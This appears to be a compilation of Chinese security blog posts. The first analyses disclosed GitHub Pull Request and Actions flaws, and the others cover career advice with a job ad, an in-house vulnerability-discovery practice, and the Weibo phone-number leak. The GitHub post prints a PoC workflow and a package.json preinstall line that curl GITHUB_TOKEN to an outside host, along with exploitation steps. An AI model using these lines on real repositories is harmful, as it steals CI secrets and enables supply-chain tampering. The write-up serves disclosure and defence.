最近看了几个GitHub Pull Request相关的漏洞，觉得有点意思，能侧面反应当前业界对于业务逻辑风

最近看了几个GitHub Pull Request相关的漏洞，觉得有点意思，能侧面反应当前业界对于业务逻辑风险的一些现状，记录分享出来。

GitHub Pull Request风险之逻辑实现不一致

正常情况下，我们在GitHub给某个开源项目A提交一个Pull Request时，会有一个“Allow edits by maintainers”的选项且默认选中。这个选项的主要作用是让项目A（Base Repository）的维护者可以有权限修改被我Fork后的项目（Head Repository）分支。

另外可以发现，无需拥有项目Base Repository或Head Repository权限即可随意创建Pull Request，限制了Head Repository必须是fork自Base Repository。

那么有没有可能把我自己的公开仓库作为Base Repository，随意选一个其它的仓库作为Head Repository来创建Pull Request，就能使我拥有他人仓库（Head Repository）的权限了？

在Web界面上的Head Repository只能选择Fork仓库，且该Fork仓库必须是Fork自Base Repository。利用Web和REST API的差异，可以通过GitHub REST API来创建Pull Request传入任何仓库，但在开启“Allow edits by maintainers”（REST API参数为maintainer_can_modify）选项调用后无法创建成功，提示没有权限，显然GitHub做了权限控制，除非我有Head Repository的权限才能创建成功。

创建Pull Request时有做权限控制，有没有可能修改的时候没做到一致的权限控制。于是通过创建Pull Request的时候不开启“Allow edits by maintainers”选项，等Pull Request正常创建完，再通过修改Pull Request接口去更新该选项的状态，成功获得了对应的他人仓库（Head Repository）的写入权限。

此时可以实现获得GitHub上所有带有Fork标记（仓库名下有提示forked from apache/cordova）的仓库写入权限。

以上是利用自己的仓库作为Base Repository，以他人带有Fork标记的仓库作为Head Repository，并创建Pull Request，从而获得他人仓库的写入权限。核心利用了Web界面和REST API逻辑实现差异以及创建和修改阶段权限检查差异实现。

那除了Web界面和REST API，是否还有其它实现也存在漏洞？

最后发现GitHub还有GraphQL API，使用GraphQL API去修改Pull Request一样行得通，且不仅能将自己创建的Pull Request的“Allow edits by maintainers”选项打开，还能打开他人创建的Pull Request的“Allow edits by maintainers”选项，也就是检查修改者是否为Pull Request创建者的逻辑在GraphQL中也被忽略了。

该漏洞在今年初的时候由Teddy Katz发现，并上报给GitHub安全团队，并奖励了30000美元，目前该漏洞已修复，详情可见Messing with GitHub's fork collaboration for fun and profit。

在上面漏洞里存在两个通用业务逻辑风险：相同功能在不同的位置和不同的阶段的逻辑实现不一致所导致的业务逻辑风险。

• 同一功能不同位置的实现逻辑不一致。

• 同一功能不同协议的实现逻辑不一致。比如Web界面、REST API、GraphQL API中对Pull Request的选项控制逻辑实现不一致。

• 同一功能不同位置的实现逻辑不一致。比如支付时在Web端需要输入支付密码，而在App端无需输入密码。

• 同一功能不同阶段的实现逻辑不一致。

• 创建和后续状态变更的实现逻辑不一致。比如在创建Pull Request时权限控制的很好，但在后续更改Pull Request时没有权限控制。

• 流程中的每一步的基础要求逻辑不一致。比如要申请某个礼物，正常流程要经过某几个人审批，但最终保存申请记录的步骤并未验证前面的审批流程，导致流程绕过风险。

这类风险在GitHub内应该大量存在，对于各厂商有比较大的实际风险价值，尤其是提供了多种协议实现、多种端，以及存在大量创建和修改的业务逻辑、大量的流程步骤业务，应当好好自查下。

GitHub Pull Request风险之预设条件不一致

GitHub Actions是一个内置于GitHub的自动化平台，支持当仓库发生一些事件时触发在沙箱中执行一些任务。这些工作流程被配置在github.com/REPO_NAME/.github/workflows/下，工作流内容以及运行状态所有人可见。比如当向仓库Push代码时可以执行代码测试任务。GitHub Actions支持的事件包括push、fork、issues、pull_request等，详细列表见GitHub事件触发文档。简而言之GitHub Actions是git hook的强化Web实现，每个GitHub仓库都可以免费使用。

执行某些任务必然就需要用到身份标识，但又不能硬编码在代码中，因此GitHub提供了密钥配置功能，允许用户在仓库、组织和账户层面的设置功能中创建一些密钥，这些密钥可以在GitHub Actions中通过${{secrets.SecretName}}来引用。其中有一个默认存在的密钥GITHUB_TOKEN，其默认权限可以进行仓库的修改操作，其无需显式生成或调用，自动在每个任务的生命周期开始时创建，结束时销毁。

在Pull Request场景下存在两个关键事件：

• pull_request事件能够在有人提交Pull Request时触发工作流任务，外部提交的代码合并后也可以工作，但考虑到合并进来的代码并不一定是安全的，因此该事件下的任务无法访问任何密钥。

• pull_request_target还是有场景需要访问密钥的，于是GitHub增加该事件，触发逻辑和pull_request一样，差异点限制在源仓库（Base Repository）自身分支下运行代码，而不能在提交的Pull Request合并分支中运行。也就是说攻击者提交的含有恶意代码的Pull Request分支的代码根本就不运行。其认为运行源仓库的分支代码是安全可控的，因此允许访问密钥信息。

也就是说如果想要盗取密钥，只能在pull_request_target事件下执行工作流，而该事件下仅运行源仓库（Base Repository）的分支代码，不运行Fork后仓库的代码。

在正常情况下，Base Repository指向的是master分支。在通过GraphQL API创建Pull Request时，baseRefName为字符串。如果改为提交的Hash（Commit Hash）是否行得通？

mutation {
  createPullRequest(input: {
    title: "Update README.md"
    # 此处不填写分支名，而改为Commit Hash
    baseRefName: "fd9cfdc590e789ae559b5a7878e7e6b929a249d9"
    headRefName: "FeeiCN/codova:patch-1"
  })
}

结果显示参数baseRefName限制了只能是分支名称。

{
  "errors": [{ "message": "Base ref must be a branch" }]
}

结合上一个漏洞中的通用业务逻辑风险：创建和后续状态变更的实现逻辑不一致。我们看看提交一个正常Pull Request后，再通过GraphQL API修改Pull Request的baseRefName为Commit Hash，最终成功了实现了修改。

在GitHub里有个背景知识，Fork的仓库和其原始仓库共享一套提交Hash（Commit Hash）。

基于此背景，可以将Pull Request的baseRefName修改为Fork之后仓库的Commit Hash，从而使pull_request_target事件下运行Fork后的仓库代码，以实现盗取密钥的能力。

利用方式：

1. 找到某个使用了GitHub Actions的公开仓库

2. Fork该仓库后，随意修改一个文件，创建一个Pull Request请求

3. 在Fork后的仓库中，创建并提交一个.github/workflows/pr.yml文件，内容如下，记录Commit Hash

name: 盗取密钥PoC
on:
  pull_request
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Create issue using REST API
        run: 
          curl --request GET \
          --url https://feei.cn/${{ github.repository }}/${{ secrets.GITHUB_TOKEN }} \
          --fail

4. 通过GraphQL API将步骤2中的Pull Request的baseRefName改为步骤3中的Commit Hash

5. 然后工作流任务就运行了，网站就可以接收到密钥了

相较于上一个漏洞，这个漏洞所造成的危害范围会大很多。可以拿到所有GitHub公开仓库的写入权限和密钥配置信息。恶意利用来修改官方仓库，植入恶意后门，形成开源软件的供应链攻击，几乎所有企业都受其影响。恶意利用盗取的各类密钥也能造成较大危害，比如盗取AWS密钥来控制生产服务器。

该漏洞在今年初的时候由Teddy Katz发现，并上报给GitHub安全团队，并奖励了25000美元，目前该漏洞已修复，详情可以Stealing arbitrary GitHub Actions secrets。

在上面的漏洞中存在一个通用的业务逻辑风险：单一来看某个功能是安全的，全局来看是有风险的。

站在开发Pull Request的工程师视角，允许仓库合并分支为Commit Hash没有任何安全问题，在它的角度可能并不知道Fork后的仓库和源仓库是共享一套Commit Hash的，这套机制可能又是另外一个负责Commit的人负责的，他的安全性是依赖另外一个假设，这个假设可能随着时间推移随时发生变化，当实际过程中条件和预想的不一致时，风险就出来了。

此风险的可怕之处是，单看风险是不可见的，当前业内的各类安全评估和防护能力都无法解决这类风险，给安全团队带来极大的挑战。无论是对应研发安全意识很强还是安全工程师很资深，也不一定能发现此类风险。

GitHub Pull Request风险之安全背景不一致

当上面两个风险彻底修复后，基于已有的GitHub Actions和Secrets现状，还是存在风险的，只不过不再是GitHub平台本身的风险，而是GitHub Actions使用不当的风险。

在GitHub官方文档pull_request_target章节中有显著的warning提示，但你一定要相信没有设计层面技术手段去限制，一定会有人自动忽略该提示，我们并不能期望每个人都能按照预期去理解我们希望他理解的内容。尤其当涉及大量仓库后，一个有多重利用条件的风险也变得不那么难找，并且会持续存在。

GitHub Actions本身支持很灵活的任务，如果任务中主动配置了拉取最新代码，并执行外部贡献者提交的代码，即有可能导致GITHUB_TOKEN及其它密钥泄漏继而引起仓库被修改风险。

利用条件：

1. 存在GitHub Actions，也就是仓库根目录中有.github/workflows/文件夹。且该文件夹下的*.yml文件中含有pull_request_target事件。

2. 在jobs:steps中存在拉取最新代码的操作，比如uses: actions/checkout，且需要显式的指向pull_request分支，比如ref: ${{github.event.pull_request.head.ref}}。

3. 在jobs:steps中存在运行仓库代码相关的操作，比如yarn/npm会触发安装package.json中的preinstall/postinstall的代码。或者直接执行了仓库中某个路径的代码，比如./scripts/deploy.sh等。

4. 实际情况中最重要是要先看目标仓库的GitHub Actions界面中历史任务是否有运行成功。

# Example of Pull Request Target Vulnerability
# file path: github.com/GSIL/.github/workflows/pr.yml
name: Example of Pull Request Target Vulnerability
on:
  pull_request_target
jobs:
  tests:
    name: Tests
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      with:
          ref: ${{github.event.pull_request.head.ref}}
          repository: ${{github.event.pull_request.head.repo.full_name}}
      - uses: actions/setup-node@v2
        with:
          node-version: 12.x
      - name: Install dependencies
      	run: yarn
      - name: E2E Test
        run: yarn e2e
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          # 需要特别注意的是，各阶段的环境变量并不是相互共享的（如果环境变量定义在jobs层则例外）

利用方式：

1. fork目标仓库，或直接在GitHub上点击修改目标仓库文件（此时GitHub会默认fork仓库）。

2. 修改对应执行代码。假设其为nodejs项目会执行安装操作，我们就可以修改目标仓库根目录下的package.json文件，在scripts中增加一行"preinstall": "curl https://feei.cn/trigger_vul_prt`printenv GITHUB_TOKEN`"。（此处要注意，直接修改GitHub Actions任务里的代码并不能起效果，因为它触发的原始仓库中的任务）

3. 提交Pull Request请求将自己修改的代码合并至目标仓库分支，此时会触发运行GitHub Actions任务。因为公开的仓库GitHub Actions的运行情况也是公开的，就可以在目标仓库的GitHub Actions界面中查看任务运行状态，确定运行正常结束后，即可通过接收服务查看密钥内容。（在实际利用过程中要注意一点，在提交Pull Request时往往目标仓库相关人员能收到邮件信息，可以通过fork目标仓库，并用第二个GitHub账号来测试fork后的仓库漏洞情况，确认无误后在去利用目标仓库）

由于该漏洞并非GitHub官方问题，而是使用者滥用，因此需要使用者自行修复：

• 如果能使用pull_request则不要使用pull_request_target。

• 如果用了pull_request_target，则不要在任务中拉取、构建、运行不受信任的代码。具体点就是不要在任务中使用actions/checkout拉取代码，否则后续一切都会变得不可控。

• 一定需要使用actions/checkout时，将persist-credentials参数设置为false以避免储存仓库密钥。

• 严格限定pull_request_target执行条件。外部贡献者往往没有自定义标签能力，可以在Pull Request被加上某个标签才可以运行。比如必须人工Code Review后打上Safety标签，if: contains(github.event.pull_request.labels.*.name, 'Safety')。

此漏洞的影响和上一个漏洞一致，都是可以拥有仓库的写入权限并能拿到各类密钥。

该漏洞在由GitHub安全实验室发布，并作为通用风险，有兴趣可以看看几个实际的案例详情GHSL-2021-033、GHSL-2020-364、GHSL-2021-005、GHSL-2021-003。

该漏洞同样存在一个通用的业务逻辑风险：一些风险是技术手段无法规避了，依赖给研发的一些安全要求和提示，但研发往往是按照自己对于安全的认识去开发逻辑的。一个安全要求不同的研发有不同的处境、不同的研发想看的并不一样、接受度也不一样。一旦将安全选择交给研发，一切都变得不安全了。

阅读原文

跳转微信打开

亲身经历，现身说法

又到了每年跳槽最热的时候，此时如何选择一家公司就变得尤为重要，也许今天就是你改变人生的一个关键决策期。人生总在不断的进行选择，有些选择大有些选择小，大的选择错了小的对了也没什么用，毫无疑问选公司肯定是大选择，选对了会让我们接下来几年的努力得到成倍的结果。以我个人浅显的经验谈谈我如何进行选择，欢迎私聊沟通指正。

传统公司或互联网公司

我家里二十多年前就是开服装加工厂的，一直到现在还在开工厂。除了小时候那会服装产业火热赚了一些钱外，后来就一直没什么大的起色。同样一些开厂的都没赚到什么钱，反而是厂房卖了赚了很多钱。

我哥是公务员，每个人都羡慕他稳定轻松的工作，但工资的涨幅、职位的升迁都可预料到，一眼望到头的生活却不是每个人都愿意的，在体制内你再努力都会显得那么力不从心。

虽然互联网发展已经这么多年了，但不可否认到现在还是炙手可热，发展趋势持续向好，后劲丝毫未减。选中了趋势能让我们的努力翻很多倍，回想五年前的我完全不敢想象打工能年薪百万，这就是互联网的魅力，你永远也不知道自己五年后会怎么样。

男怕选错行，记住穷选互联网，富选金融。

有潜力的或大的互联网公司

刚工作那两年，我在好多个小互联网公司工作过，这么多年过去了，还在小互联网公司的前同事现在的薪资还在两万多，这就是小公司的天花板。由于业务规模导致技术深度、薪资水平很容易进入瓶颈期，且随着时间推移，你的技术热情也在消退，学习能力也跟不上，年纪也成为了进入大公司的瓶颈。

我庆幸的是在14年加入了当时的虽小但有潜力的公司蘑菇街，陪着蘑菇街一路到上市。有潜力的公司能让你坐上技术成长的快车，跟随公司一起成长会更顺畅和扎实。当你无法判断潜力时选择某个细分领域独角兽会更加稳妥。

后来进入蚂蚁，往往大公司过了初期建设阶段，能让你更专注在某一个细分点上深入进去，同时薪资和向上发展也能得到保障。

努力提升，及早逃离小且没有潜力的公司，否则别期望你的人生有什么改变。

为了钱还是为了成长

应届生经常问的一个问题是毕业的前几年是选工资高的工作还是先学习经验不在乎工资，我的观点是两者可兼得，你拿不到好的工资的地方不见得能学到什么。哪怕是前期为了先生存下来，也得趁早看看其他机会。

同是互联网，不同岗位的待遇也各不相同，运营高于传统岗位、技术高于运营、算法和安全高于研发。我有每年总结的习惯，统计了最近工作这些年平均年工资涨幅在40%以上，当薪资达到四五万以后增幅就会明显的变缓，随之期权股票增多，相对应的成长也是成比例的。

你得到了钱必然就会成长，你成长了自然就会得到钱。

业务的天然强安全诉求

银行和游戏公司一开始就有安全岗位，正是因为他们业务上对安全天然有着强诉求。一方面能让安全话语权、事情推动上变得水到渠成，另外一方面你无需为了寻找那不存在的安全风险而努力，自然而然的会持续有大量投入进行长期建设。

见过太多公司的安全建设不以解决实际安全风险为出发点，开拓了一些伪安全需求，做和不做公司的风险都在那儿。

不要服务伪需求，害了公司也害了自己。

公司文化和团队氛围

从事黑灰产的公司先排除掉，包括擦边球的，公司文化不正就会出现flanker前公司那种让安全人员做一些违法的事情，短期是能赚到一些钱，但习惯赚这类钱就很难再回去了，而且很容易就得研究监狱安全性。

团队氛围是一个很泛的概念但却至关重要，做的开心与否决定了做的能否长久。其中包括大家相处的融洽程度、做事方式方法、团队公约、人员能力等，提前找人打听下这个团队的氛围是非常有效的方式。

我很庆幸自己的兴趣和工作是一件事，每天都能很开心的工作。但如果团队氛围不好，就像跟不喜欢的人玩游戏一样会非常痛苦。

正向的文化和氛围有助于我们待的更久。

岗位契合度

岗位第一优先级需要关注是否和自己的未来的职业发展是否匹配，不合适的岗位发挥不出你的才能，继而成长也就相对较难。第二要关注你擅长的技能和公司的需求要匹配，才能发挥最大生产力。

确定了公司、团队和岗位都没有明显问题后，接着就是面试了，可以参照下如何进行安全招聘和面试。

新年了，是否想改变下自己？加入我们吧，这里是国内首批数字银行，这里有飞速发展的业务、天然强安全需求、无斗争的新团队，有各种适合你的岗位甚至可以因人设岗，带上简历发给zhijie@mybank.cn吧，快速面试、早日入职，走上人生巅峰！

（AD）网商银行安全团队诚招各方向安全专家

阅读原文

跳转微信打开

一点漏洞发现的思考和实践

        为什么总是被外部发现该发现但遗漏的漏洞？为什么各种黑白灰扫描器老有各种原因遗漏的漏洞？如何解决人工渗透测试带来的遗漏、效率问题？你是否也遇到这些问题，本文会讲讲我理解的漏洞发现，并基于该理论延伸的甲方漏洞发现最佳实践初探。

甲白乙黑：打破乙方思维，找到甲方优势

        早期为了发现漏洞需要手工一个个参数去尝试各种Payload，后来用黑盒漏洞扫描器来逐渐替换掉那些重复性的手工操作。我们总在说，不知攻焉知防，但现实所见全是用攻的思维做防。白帽子们进入甲方开始建设企业安全时，也自然而然把黑盒漏洞扫描器搬了过来，甚至作为主要漏洞发现手段。

        虽然黑盒漏扫确实也能发现漏洞，但却在理念上和甲方漏洞发现相去甚远。甲乙方的安全同学有何差异？好像都要做漏洞发现，但这只是表象。乙方发现漏洞的目的是为了找一个突破口继而深入渗透，或为了证明你确实有漏洞好卖安全产品，他只需要发现一个漏洞就赢了。而甲方发现漏洞的目的是为了漏洞不被利用造成损失，因此需要发现所有漏洞。一边是发现一个漏洞就赢了，一边是要发现所有漏洞。在这种目标不对等的前提下，如果我们发现漏洞的手段还是一样的，那必然斗不过乙方，次次红蓝对抗以失败告终、黑盒扫描器永远在遗漏、甚至低级问题层出不穷。

        那怎样破局呢？世上没有绝对的公平但有相对的公平，关了一扇窗必然会为你开一扇窗。甲方到底有什么是乙方所没有的？那就是内部各种信息对于甲方来说是透明的，能很清楚的知道自己有多少域名而不需要爆破、知道自己有多少接口而不用爬取、知道自己开了什么端口而不用扫描、知道自己开了什么服务而不用试探、知道自己引了什么框架依赖而不用扫描、知道应用内的业务逻辑而不用猜测… 透明的白盒子是甲方安全最大的优势，而这一切对于乙方来说都是不透明的黑匣子。

        乙方黑盒本质上不清楚目标内部构造，需要尝试通过构造各种请求并根据响应信息来判断漏洞的存在。这种模式的坏处是必然存在较多遗漏，这个遗漏可能是爬取局限性导致没发现某个接口、也可能是不理解业务导致没符合某个接口的前置条件导致没进入到接口逻辑、当然也可能是特定版本差异导致Payload兼容问题没利用成功等低级问题。而甲方则不一样，可以通过流量清楚的知道自己有多少接口和这些接口的响应内容，每个接口的可能存在的风险，对应的后端应用，应用的机器，机器上的进程，进程对应的代码、配置和开启的端口甚至打开的文件Jar包等，当我们充分利用好这些透明信息时，就可以快速的发现和确认漏洞。

        除了利用好透明信息外，还需要串起所有安全产品来制造更大优势。每个漏洞抽象来看是存在不同形态的，比如Web目录的文件泄漏他本质上是在Web目录存放了一些能被访问的文件、反序列化漏洞往往是引用了一些序列化的包或类、SSRF往往是最终参数传入了request函数、敏感信息泄漏往往是响应内容的包含特定格式的敏感数据等等。因为漏洞存在不同形态，因此不同的漏洞需要在不同的阶段或层次检测才能得到最优解。每个阶段的白盒子能力都有各自的优势同时也有各自的局限。而我们就是要从单点相互独立的白盒子漏洞发现转向联动体系化的漏洞发现，将局限限制到最小，将各个优势集合起来发挥最大的优势。

        除了透明的白盒子和联动各层次阶段的安全产品是甲方安全利器外，另外一大优势就是上线前的漏洞发现。当我们在上线前进行漏洞发现时，我们的竞争对手是我们自己，当我们在上线后进行漏洞发现，我们的竞争对手就是整个互联网的白帽子、黑灰产，用战略将优势发挥到极致，不在战术上和对方比拼，因此上线前的漏洞发现必须作为甲方安全的基础认知保持统一。

        为便于后续安全行业内交流和理解一致性，我们将这个理论定义为甲白乙黑（当然如果你觉得做安全的人喜欢造名词也行），并由以下两条定义组成：

• 甲方主要漏洞发现应按照白盒子方式进行，目标是在上线前利用各阶段或层次的安全产品发现全部已知漏洞。包括域名、IP、端口、服务、代码、依赖、机器、流量、接口、逻辑、数据库等。

• 乙方主要漏洞发现按照黑盒子方式进行，目标是发现尽可能多的高危漏洞并继续横向扩展。包括域名爆破、端口扫描、服务识别、漏洞扫描等。

        这里顺便插一句误区，说到甲方要用透明白盒子理念发现漏洞，很多人就会想到通过扫描代码的方式发现漏洞、或者一些商业扫描器会将甲方流量导入到黑盒中来弥补黑盒漏扫爬取不全的问题，也有一些公司会用HIDS采集主机的漏洞，那这就是甲白乙黑理论的应用吗？说属于确实也属于，但应用的较为初级且浅显。很多时候做安全的人存在一种莫名的优越感，总感觉自己做的更好别人都是垃圾，听到别人做什么怎么做的时候就会把自己做的无意识的往上靠认为自己也做到了，殊不知只是有那么点交集但理念上天壤之别，安全行业缺少一套公开的机制来检验或对标安全水位。比如拼多多和京东看着都能购物，但在购物方式、性价比、送货效率上很不一样。这导致的后果是没有理论指导很有可能下一次决策时就走偏了，很多公司都是看别人家有什么就做什么，对于很多人来说应用安全不就是黑白灰盒上一套、SDL搞一搞，这种没有理论支撑的做法会导致在做决策的时候选错方向。同理应用在其它领域也一样，在各个阶段堆了一些安全产品就叫纵深防御了？做了IAST就是安全切面了？做了最佳安全配置实践就是内生安全了？看到某个漏洞多就去解决某个漏洞就是木桶理论了？公司因为漏洞导致出现安全事件就是没有100%的安全了？

甲方漏洞发现体系最佳实践初探

        在阿里有一句土话叫路走对了就不怕。基于甲白乙黑的漏洞发现理念的指导，为了让大家体感更深刻，通过分享一些遇到的实际问题来回顾下我们的实践历程。

解决人工渗透测试弊端，感知应用更细粒度安全

        很多甲方安全团队都有人工渗透测试的工作，有因为要降低扫描器的遗漏，也有要补位扫描器的能力不足，也有接手新业务等情况。在早期接手新业务时，也希望快速弄清楚存量业务风险，而通过人工和扫描器的方式去做安全摸底。从漏洞数量上看，效果是很好的，短期内发现了大量的漏洞，其中不乏各种高危严重漏洞。但从过程体验和持续性上来看，很不如人意。典型的问题包括三大类：测不全导致的遗漏、测试效率低、重复测试。

        先说说重复测试的问题，分为两类，一类是各个同学间业务业务相关性较大很难完全划分开，必然导致互相测试到对方的业务，这种情况还比较好，就当作double check。另外一类情况是自己负责的业务自己测过，但因为没有记录或记录方式的问题导致很难在后期维护好，从而重复测试接口问题。

        测试效率低也可以分为多个环节来看，一方面是目标信息收集的效率，根据资产掌握的程度，一些标准业务的域名、IP、端口、服务、代码等都很清晰，不需要花费太多时间就知道目标大体情况，可往往有很多非标应用此时依赖去跟对应业务方沟通，涉及到沟通效率就骤减。另外一方面是渗透测试效率，需要手动的对每个目标可疑参数进行测试，效率是很低的，想想每个人的人工成本还是很高的。

        在人工渗透测试过程中，因为人的参与必然导致人的经验和状态都会直接影响的结果，每个渗透人员的测试的习惯、渗透的思路、看漏洞的深度都不一样，同时每个人每天的状态也不一样，可能昨天熬夜导致今天状态不好，也可能因为家里的事情导致分神。另外一方面是目标本身的复杂性带来的遗漏，很难在短时间理解透系统，触发到每个业务逻辑，覆盖所有接口。

那如何解决呢？回顾上面提到的甲白乙黑理论中讲到黑盒方式必然存在漏洞遗漏，主要漏洞发现应依赖白盒子方式。

        回顾下如果做白盒代码审计时，一般如何做？一种方式是找到所有接口，看每个接口传参链路是否会到危害函数。另外一种方式则相反，先找到危害函数，再反推看看入参是否可被外部用户控制，因为存在大量参数不可被外部用户控制，因此第二种方式的成本会比第一种要高。这两者的核心都是拿到程序的调用栈来判断，调用栈信息可以通过IAST或SAST来获取。按照第一种方式，我们有两步要做：拿到所有的接口参数+判断这些参数是否存在风险。

        在测试环境拿到含有Request和Response的流量，对流量进行清洗（去掉爬虫/扫描器/静态资源/错误状态码等）和去重（同类型接口合并为一个接口），并对每条流量特征进行风险打标以及赋予分值。并将对应需要处理的风险展示在Web平台供人工处理，确定存在风险的可以点击上报漏洞，不存在风险可点击误报，再优化风险打标逻辑减少误报出现。

        这里重点讲下如何基于流量打出风险标签，根据漏洞类型的不同这里打标签的方式也不一样。有些漏洞基于流量很容易直接确认，比如未脱敏、泄漏密钥密码、短信口、登录口、文件上传下载、任意链接跳转、XXE、CSRF、SSRF、命令和代码执行、任意SQL执行、JSONP等。而有一些则需要通过流量进一步分析才可以得出，比如越权漏洞，可以通过历史访问情况来计算某个接口是公共接口、私有接口还是混用接口情况。考虑到规则匹配特征的准确性、危害性以及网络可访问状态可以给每条风险定义一个分值，后续按照分值高低的优先级处理。

        此时依赖流量的覆盖情况可以解决人工渗透测试遗漏问题，通过基于流量请求和响应特征自动发现风险解决了人工渗透测试部分效率问题，通过对无风险接口加白解决人工渗透测试的重复测试问题，最终让我们由原来的知道某个应用测过到现在应用的每个接口都测过。

        当有新的接口时能及时感知到，当接口参数有变动时也能发现。但当从接口参数上看不出来变化，但背后实现的逻辑却变了时候，就需要联动发布系统，知道每次变更的代码和应用，继而关联对应的域名和接口，重新走一遍接口的漏洞发现逻辑。

解决黑盒漏洞扫描器弊端，联动各层次阶段安全产品制造更大优势

        在前面解决了人工渗透测试的弊端，效率、重复、遗漏等问题后，也让我们能从原先对一个应用的安全性细化到接口参数级别。这里面简化了原来人工渗透测试时收集资产和找到疑似风险点两部分工作，同时部分漏洞直接基于流量即可直接确认掉。但因为漏洞的不同形态，还是会存在很多风险需要进一步确认是否真实存在，这块的效率也需要继续提升。

        自动化确认风险是否存在，最直接办法就是试一下攻击payload是否能打成功，这听着有点像黑盒，那不是又绕回原点去做黑盒了？这又回到前面提到的，很多东西你看着相似，但理念不一样导致的结果差异巨大。传统黑盒理念上就站在乙方黑匣子立场去爬取流量、发送Payload判断漏洞是否存在，他最大的问题在于不理解业务，所以没有针对性的对所有接口一通乱扫，浪费资源的同时效率也不高。同时由于无法知道正常业务是什么样的，导致很多时候没有进入到真实的业务逻辑里，甚至被账号权限、业务前置条件等低级问题拦住。

        流量是个引子，请求响应和访问顺序构成了理解业务的基础，基于不同漏洞的不同形态，联动各层次各阶段的安全产品，弃其局限，聚其优势。可以将基于流量标示出来的风险给到验证脚本，验证脚本则根据正常业务响应内容来判断出是否有漏洞，没有漏洞的话要区分出是没扫到漏洞还是没进入到业务逻辑。如果没进到业务逻辑则需要反馈给平台，让平台调度SAST的抽象语法树或IAST函数调用栈或主机进程文件信息来确认漏洞是否存在，都不能确认就将所有信息展示在平台上供人工处理时参考，同时后续看是否能优化此类场景。

        由于安全能力是持续不断的建设，在早期为达到安全目标可以选择漏洞可不被证明，比如一些密码硬编码、引了低版本Fastjson包等此类风险无法确定直接的利用途径，一律全部改造修复。要注意的是不能交由业务方判断外部入参是否可控来决定是否改造修复，安全同学之间对漏洞理解都有差异，如果将安全判断交由技术同学则一定会出现误判遗漏情况。而为了给技术更好的体验，而不是天天跟在屁股后面催他们修漏洞，需要提升漏洞发现准确性来减少为了修漏洞而修漏洞的情况，同时也应该用好WAF、RASP等应用层的安全防护工具来为业务方预留更充足的迭代修复时间。

        对业务的每次变动带来的漏洞在上线前绝大多数都能自动确认提交，少数需要人工介入确认。很清楚的知道有多少应用和服务，用的什么框架引了什么依赖，上下游应用是什么，运行在哪些机器上，开放了哪些端口，绑定了哪些域名，域名上有多少接口，每个接口有哪些风险是否都测试过。安全工程师不用挖漏洞了，精力可以放到安全能力建设和安全研究上，产生对个人对部门对公司更大的价值。

阅读原文

跳转微信打开

本来不准备评论这个事情的，但作为微博用户看到自己的数据泄漏且被如此对待，还是想借这个事情说两句企业安全建设。

本来不准备评论这个事情的，但作为微博用户看到自己的数据泄漏且被如此对待，还是想借这个事情说两句企业安全建设。

（为避免产生误导，以下所叙述事情素材均真实有效，内容未包含攻击手法。因未拿到泄漏数据，无法判断数据真实量级和准确性。另提醒普通用户，微博数据库未泄漏，是攻击者通过接口漏洞撞出来的数据，数据真实量级不确定，此次泄漏的是userid+phone，因此改微博名和改密码意义不大）

微博数据泄漏事件背景

事件起因是3月5号在暗网交易市场里，有一则"5.38亿微博用户绑定手机号数据，其中1.72亿有账号基本信息"的交易帖子，售卖价格0.29764比特币（按照当前一枚比特币价格6300美金来算，约合1875美金，13000人民币左右），截止今天（3月22日）未显示成交，目前已经不能交易。

上图是今日截图，通过帖子的描述可以知道有大量微博ID（userid）+手机号（phone）的数据泄漏，并且其中部分数据含有账户信息（粉丝数、关注数、性别、地理等），发布人留了400条样例数据来证明数据真实性。（以上信息来自暗网帖子内容，数据未经过证实）

在这里可以初步判断出关键有用信息是微博ID和手机号及两者关联关系，剩余的账户信息基本是公开信息。

到底如何泄漏的？

很快认证为微博安全总监罗诗尧在微博上对这件事情作出了反馈，基于其微博官方认证过的微博员工的前提下，我们以他说的话为准，基于他描述的信息大致可推断出几个结论。1. 没有被脱裤，也没有密码等敏感字段；2. 承认了接口被暴力匹配的事实；

根据他描述的通讯录上传接口被暴力匹配，我们可以推导出可能的业务场景。根据手机通讯录中手机号来查询微博用户名的接口，这类接口一般用在添加好友时推荐给你可能认识的微博用户，用来扩大活跃度和社交关系，常用社交软件抖音、微信也有类似功能。

对于这类业务场景如果没考虑到存在被恶意刷的情况未做任何安全策略，会导致能无限制根据手机号反查到微博用户名。最简单直接的就是通过保存大量手机号到通讯录中，接着看相应的接口返回的对应微博名。当然这些步骤都可以自动化掉，那就可以将所有手机号段全部爆破一遍，即可拿到全部微博用户的手机号。

此时已经有微博ID和对应手机号了，帖子中的用户基本信息如何获取的呢？通过售卖人暗网帖子中描述的字段来看，发布的微博数、粉丝数、关注数、等级、性别、地理、最后一次发微博时间等均是公开的信息，可以通过微博ID找到对应用户微博页面爬取到。

到底有什么危害？

到这里很多不了解安全的同学可能不了解有什么危害，你拿着所有的手机号撞出了对应微博名，也就是你能知道任何一个微博用户的手机号。你能知道微博CEO的手机号，也能知道周杰伦的手机号。当你有能力拿到任何一个微博用户的手机号时，根据不同人的需求不同，对应的危害也不同。

粉丝们希望知道明星的手机号、猎头希望知道行业大牛的手机号、中介希望知道有买房意向人的手机号、房东希望知道有租房意向人的手机号、热心市民想知道网络喷子五毛美分的手机号。有些人拿到手机号是为了利益，但有些人拿到手机号是为了诈骗，他可以短信轰炸、电话轰炸让你的手机无法正常使用，也可能通过电话进行诈骗。

你本来只知道整个中国的手机号段，单就每个手机号你无法知道对应的人，一旦你能将手机号关联标示出某个人，他的危害立马提现出来了。就类似你很清楚花呗的额度范围是500-50000，但你不知道某个人的花呗具体额度，此时就没什么风险，一旦额度和能标示人的信息（手机号、用户名、真实姓名、uid等等）同时泄漏，就会导致个人隐私泄漏风险。

手机号是明确规定的个人信息，同时泄漏微博ID和手机号构成一个标准的信息泄漏漏洞，根据量级和影响范围在信息安全中属于严重的敏感信息泄漏事件。

同时网络安全法也规定了个人信息泄漏的责任和处罚。

• 《网络安全法》明确了对侵害公民个人信息行为的惩处措施。网络运营者、网络产品或服务提供者以及关键信息基础设施运营者如未能依法保护公民个人信息，最高可被处以50万元罚款，甚至面临停业整顿、关闭网站、撤销相关业务许可或吊销营业执照的处罚，直接负责的主管人员和其他直接责任人员也会被处以最高十万元的罚款。

